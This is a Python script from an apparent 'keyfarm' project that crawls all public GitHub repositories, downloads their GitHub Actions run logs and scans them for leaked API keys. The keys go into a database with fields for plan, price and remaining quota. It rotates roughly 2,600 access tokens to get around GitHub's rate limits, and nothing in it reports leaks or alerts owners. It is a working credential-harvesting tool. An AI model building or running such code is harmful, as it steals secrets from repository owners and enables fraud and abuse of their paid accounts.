keyhunter-parser/gha_logs_eternal.py

"""ETERNAL GHA logs: walk public repos -> completed workflow runs -> scan log zips.

Endpoint: api.github.com/repos/{owner}/{repo}/actions/runs (REST, per-token quota)
Auth: PAT pool (gh_tokens.txt, round-robin, ~2600 tokens × 5000 req/hr = no IP collision)
"""
import os as _os
BASE = _os.path.dirname(_os.path.abspath(__file__))
_os.makedirs(_os.path.join(BASE, "data"), exist_ok=True)

import hashlib, io, json, re, sqlite3, sys, threading, time, zipfile
import requests

S = requests.Session()
S.trust_env = False

TOKENS_FILE = _os.path.join(BASE, "gh_tokens.txt")
DB = _os.environ.get("KF_DB") or _os.path.join(BASE, "data", "keys.db")
LOG = _os.path.join(BASE, "data", "gha_logs_eternal.log")
CURSOR_FILE = _os.path.join(BASE, "data", "gha_logs_cursor.txt")
SEEN_FILE = _os.path.join(BASE, "data", "gha_logs_seen.txt")
N_THREADS = 4
SLEEP = 120
MAX_ITEMS = 200            # runs to process per cycle
FILE_CAP = 500_000         # max bytes to scan per log file member
ARCHIVE_CAP = 20 * 1024 * 1024  # max zip download
BATCH = 20                 # repos to check per cycle

from key_patterns import scan_text

GARBAGE = ("xxxx", "xxx", "your", "YOUR", "EXAMPLE", "example", "n0tr3al",
           "placeholder", "CHANGEME", "changeme", "dummy", "DUMMY",
           "abcdefghijklmnopqrst", "1234567890abcdef", "test-key",
           "sample", "SAMPLE", "insert", "replace", "aaaaaa", "redacted",
           "masked", "censored", "your_api_key", "replace_with",
           "fill_in", "undefined", "mock_", "stub_", "todo", "fixme",
           "XXXXXXXX", "0000000000000000", "skip_")

UA = {"User-Agent": "keyfarm-gha-logs/1.0"}
S.headers.update(UA)

API = "https://api.github.com"

# Rate limit safety margin
RL_RESERVE = 100

# ── Logging ──────────────────────────────────────────────

def log(msg):
    line = f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] {msg}\n"
    with open(LOG, "a", encoding="utf-8") as f:
        f.write(line)

# ── PAT pool (round-robin) ──────────────────────────────

def _load_tokens():
    if not _os.path.exists(TOKENS_FILE):
        return []
    with open(TOKENS_FILE) as f:
        return [l.strip() for l in f
                if l.strip() and not l.startswith("ghp_0000")]

_tokens = _load_tokens()
_tok_idx = 0
_tok_lock = threading.Lock()

def next_token():
    global _tok_idx
    with _tok_lock:
        t = _tokens[_tok_idx]
        _tok_idx = (_tok_idx + 1) % len(_tokens)
        return t

def mask_url(url):
    """Mask embedded token in URL for logging."""
    return re.sub(r'https://[^@]*@', 'https://***@', url)

# ── DB ──────────────────────────────────────────────────

conn = sqlite3.connect(DB, timeout=120, check_same_thread=False,
                       isolation_level=None)
conn.execute("""CREATE TABLE IF NOT EXISTS keys (
  id INTEGER PRIMARY KEY AUTOINCREMENT,
  hash TEXT UNIQUE,
  val TEXT, prov TEXT, status TEXT DEFAULT "NEW",
  plan TEXT, price TEXT, remaining TEXT,
  found TEXT, repo TEXT)""")
lock = threading.Lock()
total = 0

def db_add(key, prov, repo):
    global total
    h = hashlib.sha1(key.encode()).hexdigest()[:16]
    try:
        with lock:
            conn.execute(
                "INSERT INTO keys (hash, val, prov, status, found, repo) "
                "VALUES (?,?,?,?,?,?) "
                "ON CONFLICT(hash) DO UPDATE SET status='NEW', "
                "found=excluded.found, repo=excluded.repo "
                "WHERE keys.status IN ('DEAD','ERR')",
                (h, key, prov, "NEW", "gha-logs", repo[:300]))
            total += 1
    except sqlite3.Error as e:
        log(f"  db_add error: {e}")

# ── Cursor & seen ──────────────────────────────────────

def load_cursor():
    try:
        with open(CURSOR_FILE) as f:
            return int(f.read().strip())
    except (FileNotFoundError, ValueError):
        return 1  # repo ID 1+ are public

def save_cursor(c):
    with open(CURSOR_FILE, "w") as f:
        f.write(str(c))

def load_seen():
    s = set()
    try:
        with open(SEEN_FILE) as f:
            for line in f:
                line = line.strip()
                if line:
                    s.add(line)
    except FileNotFoundError:
        pass
    return s

seen = load_seen()

def mark_seen(k):
    seen.add(k)
    with open(SEEN_FILE, "a", encoding="utf-8") as f:
        f.write(k + "\n")

# ── Junk filter ─────────────────────────────────────────

def is_junk(v):
    if any(g in v for g in GARBAGE):
        return True
    if len(set(v)) < 6:
        return True
    return False

# ── HTTP helper ─────────────────────────────────────────

def _get(url, headers_extra=None, stream=False, timeout=30):
    """GET with retry and backoff, auto-token. Returns response or None."""
    tok = next_token()
    hdrs = {"Authorization": f"Bearer {tok}",
            "Accept": "application/vnd.github+json"}
    if headers_extra:
        hdrs.update(headers_extra)
    for attempt in range(3):
        try:
            r = S.get(url, headers=hdrs, timeout=timeout, stream=stream)
            if r.status_code == 200:
                return r
            if r.status_code in (403, 429):
                retry_after = int(r.headers.get("Retry-After", 10))
                log(f"  429/403 on {mask_url(url)} — sleep {retry_after}s")
                time.sleep(retry_after)
                continue
            if r.status_code in (404, 410, 451):
                return None  # gone, not coming back
            if r.status_code >= 500:
                log(f"  {r.status_code} on {mask_url(url)}, retry {attempt+1}")
                time.sleep(2 * (attempt + 1))
                continue
            return r  # unexpected status, caller handles
        except requests.RequestException as e:
            log(f"  req error: {e}, retry {attempt+1}")
            time.sleep(2 * (attempt + 1))
    return None

# ── Repo discovery ──────────────────────────────────────

def fetch_repos(since, per_page=100):
    """Fetch one page of /repositories. Returns (repos_list, next_since)."""
    url = f"{API}/repositories?since={since}&per_page={per_page}"
    r = _get(url)
    if r is None:
        return [], since
    try:
        repos = r.json()
    except json.JSONDecodeError:
        return [], since
    if not repos:
        return [], since
    # next since = last repo ID
    next_since = repos[-1]["id"]
    return repos, next_since

# ── Runs discovery ─────────────────────────────────────

def fetch_runs(repo_full, per_page=5):
    """Fetch completed runs for a repo. Returns list of run dicts or None."""
    url = f"{API}/repos/{repo_full}/actions/runs?per_page={per_page}&status=completed"
    r = _get(url)
    if r is None:
        return None
    try:
        data = r.json()
    except json.JSONDecodeError:
        return None
    runs = data.get("workflow_runs", [])
    if not runs:
        return []
    return runs

# ── Log download & scan ─────────────────────────────────

def scan_logs_zip(zip_bytes, repo_full, run_id):
    """Unzip log archive in-memory and scan each member for keys."""
    n_keys = 0
    try:
        z = zipfile.ZipFile(io.BytesIO(zip_bytes))
    except (zipfile.BadZipFile, Exception) as e:
        log(f"  bad zip for {repo_full} run {run_id}: {e}")
        return 0
    for name in z.namelist():
        info = z.getinfo(name)
        if info.file_size > FILE_CAP:
            log(f"  skip large log {name} ({info.file_size}B)")
            continue
        try:
            text = z.read(name).decode("utf-8", "replace")
        except Exception:
            continue
        if not text:
            continue
        for prov_key in scan_text(text):
            prov, key = prov_key
            if is_junk(key):
                continue
            run_url = f"{repo_full}/actions/runs/{run_id}"
            db_add(key, prov, run_url)
            n_keys += 1
    return n_keys

def download_and_scan_logs(repo_full, run_id):
    """Download log zip for a run, scan it. Returns key count or -1."""
    url = f"{API}/repos/{repo_full}/actions/runs/{run_id}/logs"
    r = _get(url, stream=True)
    if r is None:
        return -1
    cl = r.headers.get("Content-Length")
    size_hint = int(cl) if cl and cl.isdigit() else None
    if size_hint and size_hint > ARCHIVE_CAP:
        log(f"  skip oversized log {repo_full} run {run_id}: {size_hint}B")
        r.close()
        return 0
    chunks = []
    try:
        for chunk in r.iter_content(65536):
            chunks.append(chunk)
            if sum(len(c) for c in chunks) > ARCHIVE_CAP:
                log(f"  abort oversized log {repo_full} run {run_id}")
                r.close()
                return 0
    finally:
        r.close()
    data = b"".join(chunks)
    return scan_logs_zip(data, repo_full, run_id)

# ── Process one repo ────────────────────────────────────

def process_repo(repo_full):
    """Check for completed runs, scan logs. Returns (keys_found, fails)."""
    if len(seen) > 10000:
        log("  seen set full, pausing this repo")
        return 0, 0
    runs = fetch_runs(repo_full)
    if runs is None:
        return 0, 1  # network fail
    if not runs:
        # No runs? Ignored — just cost 1 request
        return 0, 0
    kf, fl = 0, 0
    capped = 0
    for run in runs:
        run_id = run["id"]
        sk = f"{repo_full}/{run_id}"
        if sk in seen:
            continue
        mk = download_and_scan_logs(repo_full, run_id)
        if mk >= 0:
            kf += mk
            mark_seen(sk)
        else:
            fl += 1
        capped += 1
        if capped >= 5:  # max 5 runs per repo per cycle
            break
    return kf, fl

# ── Cycle ───────────────────────────────────────────────

def cycle(once=False):
    """One full pass: discover repos, scan their action log zips."""
    global total
    cursor = load_cursor()
    repos_checked = 0
    keys_found = 0
    fail = 0
    max_repos = 5 if once else BATCH
    since = cursor

    log(f"cycle starting from since={since}")

    while repos_checked < max_repos:
        repos_list, next_since = fetch_repos(since)
        if not repos_list:
            log("  no more repos, wrap around")
            since = 1
            continue
        for repo in repos_list:
            if repos_checked >= max_repos:
                break
            full_name = repo.get("full_name", "")
            if not full_name:
                continue
            if repo.get("fork") is True:
                continue  # forks are noise, rarely run actions
            if repo.get("archived") is True:
                continue
            if repo.get("private") is True:
                continue
            repos_checked += 1
            kf, fl = process_repo(full_name)
            keys_found += kf
            fail += fl
            if once:
                break  # --once: just one repo
        since = next_since
        # Save cursor periodically
        if repos_checked % 5 == 0:
            save_cursor(since)

    save_cursor(since)
    log(f"cycle done: {repos_checked} repos, {keys_found} keys, {fail} fail +{total} total")
    return repos_checked, keys_found, fail

# ── Main ────────────────────────────────────────────────

def main():
    log("gha_logs_eternal started")
    if "--once" in sys.argv:
        cycle(once=True)
        return
    while True:
        try:
            cycle()
        except Exception as e:
            log(f"cycle error: {e}")
            import traceback
            log(traceback.format_exc())
        time.sleep(SLEEP)

if __name__ == "__main__":
    main()